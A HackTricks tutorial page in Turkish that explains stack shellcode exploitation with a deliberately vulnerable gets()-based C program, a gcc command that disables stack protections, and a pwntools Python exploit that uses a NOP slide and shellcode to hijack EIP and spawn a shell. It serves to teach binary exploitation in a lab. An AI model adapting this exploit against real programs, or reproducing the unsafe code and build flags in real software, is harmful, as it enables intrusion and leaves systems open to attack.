4.9 KiB
Raw Blame History

Stack Shellcode

{{#include ../../../banners/hacktricks-training.md}}

Temel Bilgiler

Stack shellcode, bir saldırganın bir zayıf programın yığınında shellcode yazdığı ve ardından Instruction Pointer (IP) veya Extended Instruction Pointer (EIP)'yi bu shellcode'un konumuna işaret edecek şekilde değiştirdiği ikili istismar tekniğidir. Bu, yetkisiz erişim sağlamak veya hedef sistemde rastgele komutlar çalıştırmak için kullanılan klasik bir yöntemdir. İşte sürecin bir dökümü, basit bir C örneği ve bununla birlikte pwntools kullanarak nasıl bir istismar yazabileceğinize dair bilgiler.

C Örneği: Zayıf Bir Program

Basit bir zayıf C programı örneğiyle başlayalım:

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

Bu program, gets() fonksiyonunun kullanımı nedeniyle bir buffer overflow'a karşı savunmasızdır.

Derleme

Bu programı çeşitli korumaları devre dışı bırakarak (savunmasız bir ortam simüle etmek için) derlemek için aşağıdaki komutu kullanabilirsiniz:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: Yığın korumasını devre dışı bırakır.
  • -z execstack: Yığını çalıştırılabilir hale getirir, bu da yığında saklanan shellcode'un çalıştırılması için gereklidir.
  • -no-pie: Konum Bağımsız Yürütülebilir'i devre dışı bırakır, bu da shellcode'un bulunacağı bellek adresini tahmin etmeyi kolaylaştırır.
  • -m32: Programı 32-bit yürütülebilir olarak derler, genellikle istismar geliştirmede basitlik için kullanılır.

Python Exploit using Pwntools

İşte pwntools kullanarak ret2shellcode saldırısı gerçekleştirmek için Python'da bir exploit yazmanın yolu:

from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

Bu script, bir NOP slide, shellcode ve ardından EIP'yi NOP slide'ına işaret eden adresle yazan bir payload oluşturur, böylece shellcode'un çalıştırılmasını sağlar.

NOP slide (asm('nop')), yürütmenin tam adrese bakılmaksızın shellcode'umuza "kayma" şansını artırmak için kullanılır. p32() argümanını, buffer'ınızın başlangıç adresine artı bir offset ekleyerek NOP slide'ına ulaşacak şekilde ayarlayın.

Koruma Önlemleri

  • ASLR devre dışı bırakılmalıdır ki adres, yürütmeler arasında güvenilir olsun veya fonksiyonun saklanacağı adres her zaman aynı olmayacak ve win fonksiyonunun nerede yüklü olduğunu anlamak için bir leak'e ihtiyacınız olacak.
  • Stack Canaries da devre dışı bırakılmalıdır yoksa ele geçirilmiş EIP dönüş adresi asla takip edilmeyecektir.
  • NX stack koruması, stack içindeki shellcode'un çalıştırılmasını engeller çünkü o bölge çalıştırılabilir olmayacaktır.

Diğer Örnekler ve Referanslar

{{#include ../../../banners/hacktricks-training.md}}